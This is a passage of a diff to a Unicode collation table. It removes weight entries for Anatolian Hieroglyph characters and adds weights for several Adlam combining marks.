-144CD ; [.5193.0020.0002] # ANATOLIAN HIEROGLYPH A178
-144CE ; [.5194.0020.0002] # ANATOLIAN HIEROGLYPH A179
-144CF ; [.5195.0020.0002] # ANATOLIAN HIEROGLYPH A180
-144D0 ; [.5196.0020.0002] # ANATOLIAN HIEROGLYPH A181
-144D1 ; [.5197.0020.0002] # ANATOLIAN HIEROGLYPH A182
-144D2 ; [.5198.0020.0002] # ANATOLIAN HIEROGLYPH A183
-144D3 ; [.5199.0020.0002] # ANATOLIAN HIEROGLYPH A184
-144D4 ; [.519A.0020.0002] # ANATOLIAN HIEROGLYPH A185
-144D5 ; [.519B.0020.0002] # ANATOLIAN HIEROGLYPH A186
-144D6 ; [.519C.0020.0002] # ANATOLIAN HIEROGLYPH A187
-144D7 ; [.519D.0020.0002] # ANATOLIAN HIEROGLYPH A188
-144D8 ; [.519E.0020.0002] # ANATOLIAN HIEROGLYPH A189
-144D9 ; [.519F.0020.0002] # ANATOLIAN HIEROGLYPH A190
-144DA ; [.51A0.0020.0002] # ANATOLIAN HIEROGLYPH A191
-144DB ; [.51A1.0020.0002] # ANATOLIAN HIEROGLYPH A192
-144DC ; [.51A2.0020.0002] # ANATOLIAN HIEROGLYPH A193
-144DD ; [.51A3.0020.0002] # ANATOLIAN HIEROGLYPH A194
-144DE ; [.51A4.0020.0002] # ANATOLIAN HIEROGLYPH A195
-144DF ; [.51A5.0020.0002] # ANATOLIAN HIEROGLYPH A196
-144E0 ; [.51A6.0020.0002] # ANATOLIAN HIEROGLYPH A197
-144E1 ; [.51A7.0020.0002] # ANATOLIAN HIEROGLYPH A198
-144E2 ; [.51A8.0020.0002] # ANATOLIAN HIEROGLYPH A199
-144E3 ; [.51A9.0020.0002] # ANATOLIAN HIEROGLYPH A200
-144E4 ; [.51AA.0020.0002] # ANATOLIAN HIEROGLYPH A201
-144E5 ; [.51AB.0020.0002] # ANATOLIAN HIEROGLYPH A202
-144E6 ; [.51AC.0020.0002] # ANATOLIAN HIEROGLYPH A202A
-144E7 ; [.51AD.0020.0002] # ANATOLIAN HIEROGLYPH A202B
-144E8 ; [.51AE.0020.0002] # ANATOLIAN HIEROGLYPH A203
-144E9 ; [.51AF.0020.0002] # ANATOLIAN HIEROGLYPH A204
-144EA ; [.51B0.0020.0002] # ANATOLIAN HIEROGLYPH A205
-144EB ; [.51B1.0020.0002] # ANATOLIAN HIEROGLYPH A206
-144EC ; [.51B2.0020.0002] # ANATOLIAN HIEROGLYPH A207
-144ED ; [.51B3.0020.0002] # ANATOLIAN HIEROGLYPH A207A
-144EE ; [.51B4.0020.0002] # ANATOLIAN HIEROGLYPH A208
-144EF ; [.51B5.0020.0002] # ANATOLIAN HIEROGLYPH A209
-144F0 ; [.51B6.0020.0002] # ANATOLIAN HIEROGLYPH A209A
-144F1 ; [.51B7.0020.0002] # ANATOLIAN HIEROGLYPH A210
-144F2 ; [.51B8.0020.0002] # ANATOLIAN HIEROGLYPH A211
-144F3 ; [.51B9.0020.0002] # ANATOLIAN HIEROGLYPH A212
-144F4 ; [.51BA.0020.0002] # ANATOLIAN HIEROGLYPH A213
-144F5 ; [.51BB.0020.0002] # ANATOLIAN HIEROGLYPH A214
-144F6 ; [.51BC.0020.0002] # ANATOLIAN HIEROGLYPH A215
-144F7 ; [.51BD.0020.0002] # ANATOLIAN HIEROGLYPH A215A
-144F8 ; [.51BE.0020.0002] # ANATOLIAN HIEROGLYPH A216
-144F9 ; [.51BF.0020.0002] # ANATOLIAN HIEROGLYPH A216A
-144FA ; [.51C0.0020.0002] # ANATOLIAN HIEROGLYPH A217
-144FB ; [.51C1.0020.0002] # ANATOLIAN HIEROGLYPH A218
-144FC ; [.51C2.0020.0002] # ANATOLIAN HIEROGLYPH A219
-144FD ; [.51C3.0020.0002] # ANATOLIAN HIEROGLYPH A220
-144FE ; [.51C4.0020.0002] # ANATOLIAN HIEROGLYPH A221
-144FF ; [.51C5.0020.0002] # ANATOLIAN HIEROGLYPH A222
-14500 ; [.51C6.0020.0002] # ANATOLIAN HIEROGLYPH A223
-14501 ; [.51C7.0020.0002] # ANATOLIAN HIEROGLYPH A224
-14502 ; [.51C8.0020.0002] # ANATOLIAN HIEROGLYPH A225
-14503 ; [.51C9.0020.0002] # ANATOLIAN HIEROGLYPH A226
-14504 ; [.51CA.0020.0002] # ANATOLIAN HIEROGLYPH A227
-14505 ; [.51CB.0020.0002] # ANATOLIAN HIEROGLYPH A227A
-14506 ; [.51CC.0020.0002] # ANATOLIAN HIEROGLYPH A228
-14507 ; [.51CD.0020.0002] # ANATOLIAN HIEROGLYPH A229
-14508 ; [.51CE.0020.0002] # ANATOLIAN HIEROGLYPH A230
-14509 ; [.51CF.0020.0002] # ANATOLIAN HIEROGLYPH A231
-1450A ; [.51D0.0020.0002] # ANATOLIAN HIEROGLYPH A232
-1450B ; [.51D1.0020.0002] # ANATOLIAN HIEROGLYPH A233
-1450C ; [.51D2.0020.0002] # ANATOLIAN HIEROGLYPH A234
-1450D ; [.51D3.0020.0002] # ANATOLIAN HIEROGLYPH A235
-1450E ; [.51D4.0020.0002] # ANATOLIAN HIEROGLYPH A236
-1450F ; [.51D5.0020.0002] # ANATOLIAN HIEROGLYPH A237
-14510 ; [.51D6.0020.0002] # ANATOLIAN HIEROGLYPH A238
-14511 ; [.51D7.0020.0002] # ANATOLIAN HIEROGLYPH A239
-14512 ; [.51D8.0020.0002] # ANATOLIAN HIEROGLYPH A240
-14513 ; [.51D9.0020.0002] # ANATOLIAN HIEROGLYPH A241
-14514 ; [.51DA.0020.0002] # ANATOLIAN HIEROGLYPH A242
-14515 ; [.51DB.0020.0002] # ANATOLIAN HIEROGLYPH A243
-14516 ; [.51DC.0020.0002] # ANATOLIAN HIEROGLYPH A244
-14517 ; [.51DD.0020.0002] # ANATOLIAN HIEROGLYPH A245
-14518 ; [.51DE.0020.0002] # ANATOLIAN HIEROGLYPH A246
-14519 ; [.51DF.0020.0002] # ANATOLIAN HIEROGLYPH A247
-1451A ; [.51E0.0020.0002] # ANATOLIAN HIEROGLYPH A248
-1451B ; [.51E1.0020.0002] # ANATOLIAN HIEROGLYPH A249
-1451C ; [.51E2.0020.0002] # ANATOLIAN HIEROGLYPH A250
-1451D ; [.51E3.0020.0002] # ANATOLIAN HIEROGLYPH A251
-1451E ; [.51E4.0020.0002] # ANATOLIAN HIEROGLYPH A252
-1451F ; [.51E5.0020.0002] # ANATOLIAN HIEROGLYPH A253
-14520 ; [.51E6.0020.0002] # ANATOLIAN HIEROGLYPH A254
-14521 ; [.51E7.0020.0002] # ANATOLIAN HIEROGLYPH A255
-14522 ; [.51E8.0020.0002] # ANATOLIAN HIEROGLYPH A256
-14523 ; [.51E9.0020.0002] # ANATOLIAN HIEROGLYPH A257
-14524 ; [.51EA.0020.0002] # ANATOLIAN HIEROGLYPH A258
-14525 ; [.51EB.0020.0002] # ANATOLIAN HIEROGLYPH A259
-14526 ; [.51EC.0020.0002] # ANATOLIAN HIEROGLYPH A260
-14527 ; [.51ED.0020.0002] # ANATOLIAN HIEROGLYPH A261
-14528 ; [.51EE.0020.0002] # ANATOLIAN HIEROGLYPH A262
-14529 ; [.51EF.0020.0002] # ANATOLIAN HIEROGLYPH A263
-1452A ; [.51F0.0020.0002] # ANATOLIAN HIEROGLYPH A264
-1452B ; [.51F1.0020.0002] # ANATOLIAN HIEROGLYPH A265
-1452C ; [.51F2.0020.0002] # ANATOLIAN HIEROGLYPH A266
-1452D ; [.51F3.0020.0002] # ANATOLIAN HIEROGLYPH A267
-1452E ; [.51F4.0020.0002] # ANATOLIAN HIEROGLYPH A267A
-1452F ; [.51F5.0020.0002] # ANATOLIAN HIEROGLYPH A268
-14530 ; [.51F6.0020.0002] # ANATOLIAN HIEROGLYPH A269
-14531 ; [.51F7.0020.0002] # ANATOLIAN HIEROGLYPH A270
-14532 ; [.51F8.0020.0002] # ANATOLIAN HIEROGLYPH A271
-14533 ; [.51F9.0020.0002] # ANATOLIAN HIEROGLYPH A272
-14534 ; [.51FA.0020.0002] # ANATOLIAN HIEROGLYPH A273
-14535 ; [.51FB.0020.0002] # ANATOLIAN HIEROGLYPH A274
-14536 ; [.51FC.0020.0002] # ANATOLIAN HIEROGLYPH A275
-14537 ; [.51FD.0020.0002] # ANATOLIAN HIEROGLYPH A276
-14538 ; [.51FE.0020.0002] # ANATOLIAN HIEROGLYPH A277
-14539 ; [.51FF.0020.0002] # ANATOLIAN HIEROGLYPH A278
-1453A ; [.5200.0020.0002] # ANATOLIAN HIEROGLYPH A279
-1453B ; [.5201.0020.0002] # ANATOLIAN HIEROGLYPH A280
-1453C ; [.5202.0020.0002] # ANATOLIAN HIEROGLYPH A281
-1453D ; [.5203.0020.0002] # ANATOLIAN HIEROGLYPH A282
-1453E ; [.5204.0020.0002] # ANATOLIAN HIEROGLYPH A283
-1453F ; [.5205.0020.0002] # ANATOLIAN HIEROGLYPH A284
-14540 ; [.5206.0020.0002] # ANATOLIAN HIEROGLYPH A285
-14541 ; [.5207.0020.0002] # ANATOLIAN HIEROGLYPH A286
-14542 ; [.5208.0020.0002] # ANATOLIAN HIEROGLYPH A287
-14543 ; [.5209.0020.0002] # ANATOLIAN HIEROGLYPH A288
-14544 ; [.520A.0020.0002] # ANATOLIAN HIEROGLYPH A289
-14545 ; [.520B.0020.0002] # ANATOLIAN HIEROGLYPH A289A
-14546 ; [.520C.0020.0002] # ANATOLIAN HIEROGLYPH A290
-14547 ; [.520D.0020.0002] # ANATOLIAN HIEROGLYPH A291
-14548 ; [.520E.0020.0002] # ANATOLIAN HIEROGLYPH A292
-14549 ; [.520F.0020.0002] # ANATOLIAN HIEROGLYPH A293
-1454A ; [.5210.0020.0002] # ANATOLIAN HIEROGLYPH A294
-1454B ; [.5211.0020.0002] # ANATOLIAN HIEROGLYPH A294A
-1454C ; [.5212.0020.0002] # ANATOLIAN HIEROGLYPH A295
-1454D ; [.5213.0020.0002] # ANATOLIAN HIEROGLYPH A296
-1454E ; [.5214.0020.0002] # ANATOLIAN HIEROGLYPH A297
-1454F ; [.5215.0020.0002] # ANATOLIAN HIEROGLYPH A298
-14550 ; [.5216.0020.0002] # ANATOLIAN HIEROGLYPH A299
-14551 ; [.5217.0020.0002] # ANATOLIAN HIEROGLYPH A299A
-14552 ; [.5218.0020.0002] # ANATOLIAN HIEROGLYPH A300
-14553 ; [.5219.0020.0002] # ANATOLIAN HIEROGLYPH A301
-14554 ; [.521A.0020.0002] # ANATOLIAN HIEROGLYPH A302
-14555 ; [.521B.0020.0002] # ANATOLIAN HIEROGLYPH A303
-14556 ; [.521C.0020.0002] # ANATOLIAN HIEROGLYPH A304
-14557 ; [.521D.0020.0002] # ANATOLIAN HIEROGLYPH A305
-14558 ; [.521E.0020.0002] # ANATOLIAN HIEROGLYPH A306
-14559 ; [.521F.0020.0002] # ANATOLIAN HIEROGLYPH A307
-1455A ; [.5220.0020.0002] # ANATOLIAN HIEROGLYPH A308
-1455B ; [.5221.0020.0002] # ANATOLIAN HIEROGLYPH A309
-1455C ; [.5222.0020.0002] # ANATOLIAN HIEROGLYPH A309A
-1455D ; [.5223.0020.0002] # ANATOLIAN HIEROGLYPH A310
-1455E ; [.5224.0020.0002] # ANATOLIAN HIEROGLYPH A311
-1455F ; [.5225.0020.0002] # ANATOLIAN HIEROGLYPH A312
-14560 ; [.5226.0020.0002] # ANATOLIAN HIEROGLYPH A313
-14561 ; [.5227.0020.0002] # ANATOLIAN HIEROGLYPH A314
-14562 ; [.5228.0020.0002] # ANATOLIAN HIEROGLYPH A315
-14563 ; [.5229.0020.0002] # ANATOLIAN HIEROGLYPH A316
-14564 ; [.522A.0020.0002] # ANATOLIAN HIEROGLYPH A317
-14565 ; [.522B.0020.0002] # ANATOLIAN HIEROGLYPH A318
-14566 ; [.522C.0020.0002] # ANATOLIAN HIEROGLYPH A319
-14567 ; [.522D.0020.0002] # ANATOLIAN HIEROGLYPH A320
-14568 ; [.522E.0020.0002] # ANATOLIAN HIEROGLYPH A321
-14569 ; [.522F.0020.0002] # ANATOLIAN HIEROGLYPH A322
-1456A ; [.5230.0020.0002] # ANATOLIAN HIEROGLYPH A323
-1456B ; [.5231.0020.0002] # ANATOLIAN HIEROGLYPH A324
-1456C ; [.5232.0020.0002] # ANATOLIAN HIEROGLYPH A325
-1456D ; [.5233.0020.0002] # ANATOLIAN HIEROGLYPH A326
-1456E ; [.5234.0020.0002] # ANATOLIAN HIEROGLYPH A327
-1456F ; [.5235.0020.0002] # ANATOLIAN HIEROGLYPH A328
-14570 ; [.5236.0020.0002] # ANATOLIAN HIEROGLYPH A329
-14571 ; [.5237.0020.0002] # ANATOLIAN HIEROGLYPH A329A
-14572 ; [.5238.0020.0002] # ANATOLIAN HIEROGLYPH A330
-14573 ; [.5239.0020.0002] # ANATOLIAN HIEROGLYPH A331
-14574 ; [.523A.0020.0002] # ANATOLIAN HIEROGLYPH A332A
-14575 ; [.523B.0020.0002] # ANATOLIAN HIEROGLYPH A332B
-14576 ; [.523C.0020.0002] # ANATOLIAN HIEROGLYPH A332C
-14577 ; [.523D.0020.0002] # ANATOLIAN HIEROGLYPH A333
-14578 ; [.523E.0020.0002] # ANATOLIAN HIEROGLYPH A334
-14579 ; [.523F.0020.0002] # ANATOLIAN HIEROGLYPH A335
-1457A ; [.5240.0020.0002] # ANATOLIAN HIEROGLYPH A336
-1457B ; [.5241.0020.0002] # ANATOLIAN HIEROGLYPH A336A
-1457C ; [.5242.0020.0002] # ANATOLIAN HIEROGLYPH A336B
-1457D ; [.5243.0020.0002] # ANATOLIAN HIEROGLYPH A336C
-1457E ; [.5244.0020.0002] # ANATOLIAN HIEROGLYPH A337
-1457F ; [.5245.0020.0002] # ANATOLIAN HIEROGLYPH A338
-14580 ; [.5246.0020.0002] # ANATOLIAN HIEROGLYPH A339
-14581 ; [.5247.0020.0002] # ANATOLIAN HIEROGLYPH A340
-14582 ; [.5248.0020.0002] # ANATOLIAN HIEROGLYPH A341
-14583 ; [.5249.0020.0002] # ANATOLIAN HIEROGLYPH A342
-14584 ; [.524A.0020.0002] # ANATOLIAN HIEROGLYPH A343
-14585 ; [.524B.0020.0002] # ANATOLIAN HIEROGLYPH A344
-14586 ; [.524C.0020.0002] # ANATOLIAN HIEROGLYPH A345
-14587 ; [.524D.0020.0002] # ANATOLIAN HIEROGLYPH A346
-14588 ; [.524E.0020.0002] # ANATOLIAN HIEROGLYPH A347
-14589 ; [.524F.0020.0002] # ANATOLIAN HIEROGLYPH A348
-1458A ; [.5250.0020.0002] # ANATOLIAN HIEROGLYPH A349
-1458B ; [.5251.0020.0002] # ANATOLIAN HIEROGLYPH A350
-1458C ; [.5252.0020.0002] # ANATOLIAN HIEROGLYPH A351
-1458D ; [.5253.0020.0002] # ANATOLIAN HIEROGLYPH A352
-1458E ; [.5254.0020.0002] # ANATOLIAN HIEROGLYPH A353
-1458F ; [.5255.0020.0002] # ANATOLIAN HIEROGLYPH A354
-14590 ; [.5256.0020.0002] # ANATOLIAN HIEROGLYPH A355
-14591 ; [.5257.0020.0002] # ANATOLIAN HIEROGLYPH A356
-14592 ; [.5258.0020.0002] # ANATOLIAN HIEROGLYPH A357
-14593 ; [.5259.0020.0002] # ANATOLIAN HIEROGLYPH A358
-14594 ; [.525A.0020.0002] # ANATOLIAN HIEROGLYPH A359
-14595 ; [.525B.0020.0002] # ANATOLIAN HIEROGLYPH A359A
-14596 ; [.525C.0020.0002] # ANATOLIAN HIEROGLYPH A360
-14597 ; [.525D.0020.0002] # ANATOLIAN HIEROGLYPH A361
-14598 ; [.525E.0020.0002] # ANATOLIAN HIEROGLYPH A362
-14599 ; [.525F.0020.0002] # ANATOLIAN HIEROGLYPH A363
-1459A ; [.5260.0020.0002] # ANATOLIAN HIEROGLYPH A364
-1459B ; [.5261.0020.0002] # ANATOLIAN HIEROGLYPH A364A
-1459C ; [.5262.0020.0002] # ANATOLIAN HIEROGLYPH A365
-1459D ; [.5263.0020.0002] # ANATOLIAN HIEROGLYPH A366
-1459E ; [.5264.0020.0002] # ANATOLIAN HIEROGLYPH A367
-1459F ; [.5265.0020.0002] # ANATOLIAN HIEROGLYPH A368
-145A0 ; [.5266.0020.0002] # ANATOLIAN HIEROGLYPH A368A
-145A1 ; [.5267.0020.0002] # ANATOLIAN HIEROGLYPH A369
-145A2 ; [.5268.0020.0002] # ANATOLIAN HIEROGLYPH A370
-145A3 ; [.5269.0020.0002] # ANATOLIAN HIEROGLYPH A371
-145A4 ; [.526A.0020.0002] # ANATOLIAN HIEROGLYPH A371A
-145A5 ; [.526B.0020.0002] # ANATOLIAN HIEROGLYPH A372
-145A6 ; [.526C.0020.0002] # ANATOLIAN HIEROGLYPH A373
-145A7 ; [.526D.0020.0002] # ANATOLIAN HIEROGLYPH A374
-145A8 ; [.526E.0020.0002] # ANATOLIAN HIEROGLYPH A375
-145A9 ; [.526F.0020.0002] # ANATOLIAN HIEROGLYPH A376
-145AA ; [.5270.0020.0002] # ANATOLIAN HIEROGLYPH A377
-145AB ; [.5271.0020.0002] # ANATOLIAN HIEROGLYPH A378
-145AC ; [.5272.0020.0002] # ANATOLIAN HIEROGLYPH A379
-145AD ; [.5273.0020.0002] # ANATOLIAN HIEROGLYPH A380
-145AE ; [.5274.0020.0002] # ANATOLIAN HIEROGLYPH A381
-145AF ; [.5275.0020.0002] # ANATOLIAN HIEROGLYPH A381A
-145B0 ; [.5276.0020.0002] # ANATOLIAN HIEROGLYPH A382
-145B1 ; [.5277.0020.0002] # ANATOLIAN HIEROGLYPH A383 RA OR RI
-145B2 ; [.5278.0020.0002] # ANATOLIAN HIEROGLYPH A383A
-145B3 ; [.5279.0020.0002] # ANATOLIAN HIEROGLYPH A384
-145B4 ; [.527A.0020.0002] # ANATOLIAN HIEROGLYPH A385
-145B5 ; [.527B.0020.0002] # ANATOLIAN HIEROGLYPH A386
-145B6 ; [.527C.0020.0002] # ANATOLIAN HIEROGLYPH A386A
-145B7 ; [.527D.0020.0002] # ANATOLIAN HIEROGLYPH A387
-145B8 ; [.527E.0020.0002] # ANATOLIAN HIEROGLYPH A388
-145B9 ; [.527F.0020.0002] # ANATOLIAN HIEROGLYPH A389
-145BA ; [.5280.0020.0002] # ANATOLIAN HIEROGLYPH A390
-145BB ; [.5281.0020.0002] # ANATOLIAN HIEROGLYPH A391
-145BC ; [.5282.0020.0002] # ANATOLIAN HIEROGLYPH A392
-145BD ; [.5283.0020.0002] # ANATOLIAN HIEROGLYPH A393 EIGHT
-145BE ; [.5284.0020.0002] # ANATOLIAN HIEROGLYPH A394
-145BF ; [.5285.0020.0002] # ANATOLIAN HIEROGLYPH A395
-145C0 ; [.5286.0020.0002] # ANATOLIAN HIEROGLYPH A396
-145C1 ; [.5287.0020.0002] # ANATOLIAN HIEROGLYPH A397
-145C2 ; [.5288.0020.0002] # ANATOLIAN HIEROGLYPH A398
-145C3 ; [.5289.0020.0002] # ANATOLIAN HIEROGLYPH A399
-145C4 ; [.528A.0020.0002] # ANATOLIAN HIEROGLYPH A400
-145C5 ; [.528B.0020.0002] # ANATOLIAN HIEROGLYPH A401
-145C6 ; [.528C.0020.0002] # ANATOLIAN HIEROGLYPH A402
-145C7 ; [.528D.0020.0002] # ANATOLIAN HIEROGLYPH A403
-145C8 ; [.528E.0020.0002] # ANATOLIAN HIEROGLYPH A404
-145C9 ; [.528F.0020.0002] # ANATOLIAN HIEROGLYPH A405
-145CA ; [.5290.0020.0002] # ANATOLIAN HIEROGLYPH A406
-145CB ; [.5291.0020.0002] # ANATOLIAN HIEROGLYPH A407
-145CC ; [.5292.0020.0002] # ANATOLIAN HIEROGLYPH A408
-145CD ; [.5293.0020.0002] # ANATOLIAN HIEROGLYPH A409
-145CE ; [.5294.0020.0002] # ANATOLIAN HIEROGLYPH A410 BEGIN LOGOGRAM MARK
-145CF ; [.5295.0020.0002] # ANATOLIAN HIEROGLYPH A410A END LOGOGRAM MARK
-145D0 ; [.5296.0020.0002] # ANATOLIAN HIEROGLYPH A411
-145D1 ; [.5297.0020.0002] # ANATOLIAN HIEROGLYPH A412
-145D2 ; [.5298.0020.0002] # ANATOLIAN HIEROGLYPH A413
-145D3 ; [.5299.0020.0002] # ANATOLIAN HIEROGLYPH A414
-145D4 ; [.529A.0020.0002] # ANATOLIAN HIEROGLYPH A415
-145D5 ; [.529B.0020.0002] # ANATOLIAN HIEROGLYPH A416
-145D6 ; [.529C.0020.0002] # ANATOLIAN HIEROGLYPH A417
-145D7 ; [.529D.0020.0002] # ANATOLIAN HIEROGLYPH A418
-145D8 ; [.529E.0020.0002] # ANATOLIAN HIEROGLYPH A419
-145D9 ; [.529F.0020.0002] # ANATOLIAN HIEROGLYPH A420
-145DA ; [.52A0.0020.0002] # ANATOLIAN HIEROGLYPH A421
-145DB ; [.52A1.0020.0002] # ANATOLIAN HIEROGLYPH A422
-145DC ; [.52A2.0020.0002] # ANATOLIAN HIEROGLYPH A423
-145DD ; [.52A3.0020.0002] # ANATOLIAN HIEROGLYPH A424
-145DE ; [.52A4.0020.0002] # ANATOLIAN HIEROGLYPH A425
-145DF ; [.52A5.0020.0002] # ANATOLIAN HIEROGLYPH A426
-145E0 ; [.52A6.0020.0002] # ANATOLIAN HIEROGLYPH A427
-145E1 ; [.52A7.0020.0002] # ANATOLIAN HIEROGLYPH A428
-145E2 ; [.52A8.0020.0002] # ANATOLIAN HIEROGLYPH A429
-145E3 ; [.52A9.0020.0002] # ANATOLIAN HIEROGLYPH A430
-145E4 ; [.52AA.0020.0002] # ANATOLIAN HIEROGLYPH A431
-145E5 ; [.52AB.0020.0002] # ANATOLIAN HIEROGLYPH A432
-145E6 ; [.52AC.0020.0002] # ANATOLIAN HIEROGLYPH A433
-145E7 ; [.52AD.0020.0002] # ANATOLIAN HIEROGLYPH A434
-145E8 ; [.52AE.0020.0002] # ANATOLIAN HIEROGLYPH A435
-145E9 ; [.52AF.0020.0002] # ANATOLIAN HIEROGLYPH A436
-145EA ; [.52B0.0020.0002] # ANATOLIAN HIEROGLYPH A437
-145EB ; [.52B1.0020.0002] # ANATOLIAN HIEROGLYPH A438
-145EC ; [.52B2.0020.0002] # ANATOLIAN HIEROGLYPH A439
-145ED ; [.52B3.0020.0002] # ANATOLIAN HIEROGLYPH A440
-145EE ; [.52B4.0020.0002] # ANATOLIAN HIEROGLYPH A441
-145EF ; [.52B5.0020.0002] # ANATOLIAN HIEROGLYPH A442
-145F0 ; [.52B6.0020.0002] # ANATOLIAN HIEROGLYPH A443
-145F1 ; [.52B7.0020.0002] # ANATOLIAN HIEROGLYPH A444
-145F2 ; [.52B8.0020.0002] # ANATOLIAN HIEROGLYPH A445
-145F3 ; [.52B9.0020.0002] # ANATOLIAN HIEROGLYPH A446
-145F4 ; [.52BA.0020.0002] # ANATOLIAN HIEROGLYPH A447
-145F5 ; [.52BB.0020.0002] # ANATOLIAN HIEROGLYPH A448
-145F6 ; [.52BC.0020.0002] # ANATOLIAN HIEROGLYPH A449
-145F7 ; [.52BD.0020.0002] # ANATOLIAN HIEROGLYPH A450
-145F8 ; [.52BE.0020.0002] # ANATOLIAN HIEROGLYPH A450A
-145F9 ; [.52BF.0020.0002] # ANATOLIAN HIEROGLYPH A451
-145FA ; [.52C0.0020.0002] # ANATOLIAN HIEROGLYPH A452
-145FB ; [.52C1.0020.0002] # ANATOLIAN HIEROGLYPH A453
-145FC ; [.52C2.0020.0002] # ANATOLIAN HIEROGLYPH A454
-145FD ; [.52C3.0020.0002] # ANATOLIAN HIEROGLYPH A455
-145FE ; [.52C4.0020.0002] # ANATOLIAN HIEROGLYPH A456
-145FF ; [.52C5.0020.0002] # ANATOLIAN HIEROGLYPH A457
-14600 ; [.52C6.0020.0002] # ANATOLIAN HIEROGLYPH A457A
-14601 ; [.52C7.0020.0002] # ANATOLIAN HIEROGLYPH A458
-14602 ; [.52C8.0020.0002] # ANATOLIAN HIEROGLYPH A459
-14603 ; [.52C9.0020.0002] # ANATOLIAN HIEROGLYPH A460
-14604 ; [.52CA.0020.0002] # ANATOLIAN HIEROGLYPH A461
-14605 ; [.52CB.0020.0002] # ANATOLIAN HIEROGLYPH A462
-14606 ; [.52CC.0020.0002] # ANATOLIAN HIEROGLYPH A463
-14607 ; [.52CD.0020.0002] # ANATOLIAN HIEROGLYPH A464
-14608 ; [.52CE.0020.0002] # ANATOLIAN HIEROGLYPH A465
-14609 ; [.52CF.0020.0002] # ANATOLIAN HIEROGLYPH A466
-1460A ; [.52D0.0020.0002] # ANATOLIAN HIEROGLYPH A467
-1460B ; [.52D1.0020.0002] # ANATOLIAN HIEROGLYPH A468
-1460C ; [.52D2.0020.0002] # ANATOLIAN HIEROGLYPH A469
-1460D ; [.52D3.0020.0002] # ANATOLIAN HIEROGLYPH A470
-1460E ; [.52D4.0020.0002] # ANATOLIAN HIEROGLYPH A471
-1460F ; [.52D5.0020.0002] # ANATOLIAN HIEROGLYPH A472
-14610 ; [.52D6.0020.0002] # ANATOLIAN HIEROGLYPH A473
-14611 ; [.52D7.0020.0002] # ANATOLIAN HIEROGLYPH A474
-14612 ; [.52D8.0020.0002] # ANATOLIAN HIEROGLYPH A475
-14613 ; [.52D9.0020.0002] # ANATOLIAN HIEROGLYPH A476
-14614 ; [.52DA.0020.0002] # ANATOLIAN HIEROGLYPH A477
-14615 ; [.52DB.0020.0002] # ANATOLIAN HIEROGLYPH A478
-14616 ; [.52DC.0020.0002] # ANATOLIAN HIEROGLYPH A479
-14617 ; [.52DD.0020.0002] # ANATOLIAN HIEROGLYPH A480
-14618 ; [.52DE.0020.0002] # ANATOLIAN HIEROGLYPH A481
-14619 ; [.52DF.0020.0002] # ANATOLIAN HIEROGLYPH A482
-1461A ; [.52E0.0020.0002] # ANATOLIAN HIEROGLYPH A483
-1461B ; [.52E1.0020.0002] # ANATOLIAN HIEROGLYPH A484
-1461C ; [.52E2.0020.0002] # ANATOLIAN HIEROGLYPH A485
-1461D ; [.52E3.0020.0002] # ANATOLIAN HIEROGLYPH A486
-1461E ; [.52E4.0020.0002] # ANATOLIAN HIEROGLYPH A487
-1461F ; [.52E5.0020.0002] # ANATOLIAN HIEROGLYPH A488
-14620 ; [.52E6.0020.0002] # ANATOLIAN HIEROGLYPH A489
-14621 ; [.52E7.0020.0002] # ANATOLIAN HIEROGLYPH A490
-14622 ; [.52E8.0020.0002] # ANATOLIAN HIEROGLYPH A491
-14623 ; [.52E9.0020.0002] # ANATOLIAN HIEROGLYPH A492
-14624 ; [.52EA.0020.0002] # ANATOLIAN HIEROGLYPH A493
-14625 ; [.52EB.0020.0002] # ANATOLIAN HIEROGLYPH A494
-14626 ; [.52EC.0020.0002] # ANATOLIAN HIEROGLYPH A495
-14627 ; [.52ED.0020.0002] # ANATOLIAN HIEROGLYPH A496
-14628 ; [.52EE.0020.0002] # ANATOLIAN HIEROGLYPH A497
-14629 ; [.52EF.0020.0002] # ANATOLIAN HIEROGLYPH A501
-1462A ; [.52F0.0020.0002] # ANATOLIAN HIEROGLYPH A502
-1462B ; [.52F1.0020.0002] # ANATOLIAN HIEROGLYPH A503
-1462C ; [.52F2.0020.0002] # ANATOLIAN HIEROGLYPH A504
-1462D ; [.52F3.0020.0002] # ANATOLIAN HIEROGLYPH A505
-1462E ; [.52F4.0020.0002] # ANATOLIAN HIEROGLYPH A506
-1462F ; [.52F5.0020.0002] # ANATOLIAN HIEROGLYPH A507
-14630 ; [.52F6.0020.0002] # ANATOLIAN HIEROGLYPH A508
-14631 ; [.52F7.0020.0002] # ANATOLIAN HIEROGLYPH A509
-14632 ; [.52F8.0020.0002] # ANATOLIAN HIEROGLYPH A510
-14633 ; [.52F9.0020.0002] # ANATOLIAN HIEROGLYPH A511
-14634 ; [.52FA.0020.0002] # ANATOLIAN HIEROGLYPH A512
-14635 ; [.52FB.0020.0002] # ANATOLIAN HIEROGLYPH A513
-14636 ; [.52FC.0020.0002] # ANATOLIAN HIEROGLYPH A514
-14637 ; [.52FD.0020.0002] # ANATOLIAN HIEROGLYPH A515
-14638 ; [.52FE.0020.0002] # ANATOLIAN HIEROGLYPH A516
-14639 ; [.52FF.0020.0002] # ANATOLIAN HIEROGLYPH A517
-1463A ; [.5300.0020.0002] # ANATOLIAN HIEROGLYPH A518
-1463B ; [.5301.0020.0002] # ANATOLIAN HIEROGLYPH A519
-1463C ; [.5302.0020.0002] # ANATOLIAN HIEROGLYPH A520
-1463D ; [.5303.0020.0002] # ANATOLIAN HIEROGLYPH A521
-1463E ; [.5304.0020.0002] # ANATOLIAN HIEROGLYPH A522
-1463F ; [.5305.0020.0002] # ANATOLIAN HIEROGLYPH A523
-14640 ; [.5306.0020.0002] # ANATOLIAN HIEROGLYPH A524
-14641 ; [.5307.0020.0002] # ANATOLIAN HIEROGLYPH A525
-14642 ; [.5308.0020.0002] # ANATOLIAN HIEROGLYPH A526
-14643 ; [.5309.0020.0002] # ANATOLIAN HIEROGLYPH A527
-14644 ; [.530A.0020.0002] # ANATOLIAN HIEROGLYPH A528
-14645 ; [.530B.0020.0002] # ANATOLIAN HIEROGLYPH A529
-14646 ; [.530C.0020.0002] # ANATOLIAN HIEROGLYPH A530
+1E944 ; [.0000.00BD.0002] # ADLAM ALIF LENGTHENER
+1E945 ; [.0000.00BD.0002] # ADLAM VOWEL LENGTHENER
+1E946 ; [.0000.00BD.0002] # ADLAM GEMINATION MARK
+1E94A ; [.0000.00BE.0002] # ADLAM NUKTA
+1E947 ; [.0000.00BF.0002] # ADLAM HAMZA
+1E948 ; [.0000.00C0.0002] # ADLAM CONSONANT MODIFIER
+1E949 ; [.0000.00C1.0002] # ADLAM GEMINATE CONSONANT MODIFIER
